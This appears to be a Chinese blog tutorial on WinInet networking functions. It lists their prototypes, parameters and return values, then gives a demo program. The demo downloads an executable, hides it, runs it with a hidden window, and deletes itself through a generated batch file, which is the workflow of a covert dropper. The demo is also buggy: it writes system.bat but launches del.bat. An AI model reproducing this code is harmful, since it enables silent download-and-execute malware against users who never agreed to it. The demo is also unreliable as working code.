zoukankan      html  css  js  c++  java
  • 网络编程之winInet

    InternetGetConnectedState() 简介:

    功能:检索本地系统的网络连接状态。

    函数原型:BOOLAPI InternetGetConnectedState(
                      LPDWORD lpdwFlags,  // 指向接收连接说明的变量的指针。
                      DWORD   dwReserved // 系统保留值,必须为 0。
                      );

    参数 lpdwFlags 可获得的值:

    INTERNET_CONNECTION_CONFIGURED:本地系统有个有效的网络连接,但不能判断是不是目前的连接。

    INTERNET_CONNECTION_LAN:本地系统使用局域网连接到 Internet。

    INTERNET_CONNECTION_MODEM:本地系统使用调制解调器连接到 Internet。

    INTERNET_CONNECTION_OFFLINE:本地系统处于脱机模式。

    INTERNET_CONNECTION_PROXY:本地系统使用代理服务器连接到 Internet。

    INTERNET_RAS_INSTALLED:本地系统已安装 RAS。

    返回值:如果有网络连接返回 TRUE,否则返回 FALSE。

    InternetOpen() 简介:

    功能:初始化 WinInet 库,并返回一个对话句柄。

    函数原型:HINTERNET WINAPI InternetOpen(
                      LPCTSTR lpszAgent,   // 指定正在使用网络函数的应用程序名。若为 Http 时,该名称将成为用户代理。
                      DWORD dwAccessType,  // 指定所需存储的类型。
                      LPCTSTR lpszProxy,  // 当 dwAccessType 的值为 INTERNET_OPEN_TYPE_PROXY 时才有效。它指向代理服务器。
                      LPCTSTR lpszProxyBypass, // 同上,它指向一个包含不被代理的机器名或 IP 地址。
                      DWORD dwFlags // 通常为 0。
                      );

    返回值:返回应用程序传递给后续 WinINet 函数的有效句柄。如果 InternetOpen 失败, 则返回 NULL。

    参数 dwAccessType:

    ValueDescription
    INTERNET_OPEN_TYPE_DIRECT 在本地解析所有主机名。
    INTERNET_OPEN_TYPE_PRECONFIG 从注册表检索代理或直接配置。
    INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY 从注册表检索代理或直接配置, 并防止使用启动 JScript 或 Internet 安装程序 (INS) 文件。
    INTERNET_OPEN_TYPE_PROXY 将请求传递给代理。

    InternetConnect() 简介:

    功能:完成应用程序与服务器之间的连接建立。

    函数原型:void InternetConnect(
                      HINTERNET     hInternet,  // 由 InternetOpen() 返回的句柄。
                      LPCSTR      lpszServerName,  // 服务器的名字或 IP 地址。
                      INTERNET_PORT nServerPort, // 服务器提供服务使用的端口号
                      LPCSTR     lpszUserName,  // 连接服务器时可能用到的用户名。
                      LPCSTR     lpszPassword, // 连接服务器时可能用到的密码。
                      DWORD     dwService, // 指定连接的服务对象。值:INTERNET_SERVICE_FTP,INTERNET_SERVICE_HTTP。
                      DWORD     dwFlags, // 指定服务器选项。通常为 INTERNET_FLAG_RELOAD。
                      DWORD_PTR     dwContext // 应用程序指定的值,用于在回调函数返回的句柄中鉴别。通常为 0。
                      );

    参数 dwFlags:通常为:INTERNET_FLAG_RELOAD。

     从源服务器强制下载所要求的文件,对象,或目录列表,而不是从缓存下载。

    返回值:如果连接成功, 则返回会话的有效句柄, 否则为 NULL。

    InternetOpenUrl() 简介:

    功能:完成与服务器的连接(简单方法)。

    函数原型:HINTERNET InternetOpenUrl(
                      HINTERNET hInternet,  // 由 InternetOpen() 返回的句柄。
                      LPCSTR    lpszUrl,  // 指向 URL 的字符串。
                      LPCSTR    lpszHeaders, // 指定要发送到 HTTP 服务器的标头。可以为 NULL。
                      DWORD    dwHeadersLength, // 标头的大小。可以为 NULL。
                      DWORD    dwFlags,  // 同上。
                      DWORD_PTR dwContext  // 同上。
                     );

    返回值:如果连接成功建立, 则返回 URL 的有效句柄, 如果连接失败, 则为 NULL。

    HttpQueryInfo() 简介:

    功能:检索与 HTTP 请求关联的标头信息。

    函数原型:BOOLAPI HttpQueryInfo(
                      HINTERNET    hRequest,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                      DWORD    dwInfoLevel,  // 要检索的属性和修改请求的标志的组合。例如:HTTP_QUERY_CONTENT_LENGTH
                      LPVOID   lpBuffer,  // 指向要接收所请求信息的缓冲区的指针。此参数不能为 NULL。
                      LPDWORD    lpdwBufferLength, // 指向 lpBuffer 大小的指针变量。
                      LPDWORD    lpdwIndex // 指向从零开始的标头索引的指针,可以为 NULL。
                      );

    参数 dwinfoLevel:

    例如:HTTP_QUERY_CONTENT_LENGTH。接收到的资源大小,以字节为单位。

               更多标志请参阅官方文档。

    返回值:如果成功, 则返回 TRUE, 否则为 FALSE。

    InternetQueryDataAvaliable() 简介:

    功能:此函数查询可用的数据量。

    函数原型:BOOL WINAPI InternetQueryDataAvailable(
                      HINTERNET hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                      LPDWORD lpdwNumberOfBytesAvailable,  // 指向接收可用字节数的变量的长指针。
                      DWORD dwFlags,  // 必须为 0。
                      DWORD dwContext // 必须为 0。
                      );

    返回值:TRUE 表示成功。FALSE 表示失败。

    InternetReadFile() 简介:

    功能:从InternetOpenUrl() 或其他等函数返回的句柄读取数据。

    函数原型:BOOLAPI InternetReadFile(
                      HINTERNET   hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                      LPVOID  lpBuffer, // 指向接收数据的缓冲区的指针。
                      DWORD    dwNumberOfBytesToRead, // 要读取的字节数。
                      LPDWORD   lpdwNumberOfBytesRead // 指向接收读取字节数的变量的指针。
                      );

    返回值:如果成功, 则返回 TRUE, 否则为 FALSE。

    InternetSetFilePointer() 简介:

    功能:移动文件指针到指定位置。

    函数原型:DWORD InternetSetFilePointer (
                      HINTERNET hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                      LONG lDistanceToMove,  // 包含移动文件指针的字节数的长整型值。
                      PVOID pReserved,  // 必须为 NULL。
                      DWORD dwMoveMethod, 初始化文件指针位置。值:FILE_BEGIN, FILE_CURRENT, FILE_END。
                      DWORD dwContext  // 必须为 0。

                      );

    返回值:如果该函数成功, 则返回当前文件位置, 否则为–1。

    InternetWriteFile() 简介:

    功能:将数据写入打开的 Internet 文件。

    函数原型:BOOLAPI InternetWriteFile(
                      HINTERNET hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                      LPCVOID   lpBuffer, // 指向包含要写入文件的数据的缓冲区的指针。
                      DWORD    dwNumberOfBytesToWrite, // 要写入的字节数。
                      LPDWORD   lpdwNumberOfBytesWritten // 指向接收写入文件的字节数的变量的指针。
                     );

    返回值:如果函数成功, 则返回 TRUE, 否则为 FALSE。

    InternetCloseHandle() 简介:

    功能:关闭单个 Internet 句柄。

    函数原型:BOOLAPI InternetCloseHandle(
                      HINTERNET hInternet   // 要关闭的 Internet 句柄。
                      );

    返回值:如果句柄已成功关闭, 则返回 TRUE, 否则为 FALSE。

    DemoCode:

    #include<stdio.h>
    #include<Windows.h>
    #include<WinInet.h>
    #pragma comment(lib,"Wininet.lib")
    
    int InternetGetFile(const char szUrl[], const char szFileName[]);
    void SelfDel();
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
        InternetGetFile("https://download.sublimetext.com/Sublime Text Build 3176 x64 Setup.exe", 
    "C:\Users\Public\Downloads\Sublime.exe"); SelfDel(); return 0; } int InternetGetFile(const char szUrl[], const char szFileName[]) { FILE *fp; DWORD dwSize; HINTERNET hOpen, hConnect; void* szTemp[5000]; hOpen = InternetOpen("Test", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (!hOpen) return -1; hConnect = InternetOpenUrl(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD, 0); if (!hConnect) { InternetCloseHandle(hOpen); return -1; } fp = fopen(szFileName, "wb+"); while (true) { if (!InternetReadFile(hConnect, szTemp, 5000, &dwSize)) { InternetCloseHandle(hOpen); InternetCloseHandle(hConnect); fclose(fp); return -1; } if (dwSize == 0) break; else fwrite(szTemp, dwSize, 1, fp); } fclose(fp); InternetCloseHandle(hOpen); InternetCloseHandle(hConnect); SetFileAttributes(szFileName, FILE_ATTRIBUTE_HIDDEN); Sleep(3000); ShellExecute(NULL,"open",szFileName,NULL,NULL,SW_HIDE); return 0; } void SelfDel() { char DirBuffer[MAX_PATH], TempBuffer[MAX_PATH]; HMODULE hModule = GetModuleHandle(NULL); GetModuleFileName(hModule, DirBuffer, sizeof(DirBuffer)); GetFileTitle(DirBuffer, TempBuffer, MAX_PATH); FILE *fp; fp = fopen("system.bat", "w+"); fprintf(fp, "@echo off "); fprintf(fp, ":start if not exist %s goto done ", TempBuffer); fprintf(fp, " del /f /q %s ", TempBuffer); fprintf(fp, "goto start "); fprintf(fp, ":done "); fprintf(fp, " del /f /q %%0 "); fclose(fp); ShellExecute(NULL,"open","del.bat",NULL,NULL,SW_HIDE); }

    该执行文件将会下载 Sublime.exe,并将 Sublime.exe 隐藏起来再运行,最后删除自身。

  • 相关阅读:
    Spark中RDD、DataFrame和DataSet的区别
    如何为Spark应用程序分配--num-executors,--execuor-cores和--executor-memory
    一些常用的Spark SQL调优技巧
    使用sendmail命令发送附件
    spark.sql.shuffle.partitions 和 spark.default.parallelism 的区别
    Spark Shuffle
    [Spark学习] Spark RDD详解
    将时间戳(timestamp)转换为MongoDB中的ObjectId
    如何使用pig的AvroStorage存储array/map类型
    关于Avro中的Unions类型
  • 原文地址:https://www.cnblogs.com/M-Anonymous/p/9689009.html
Copyright © 2011-2022 走看看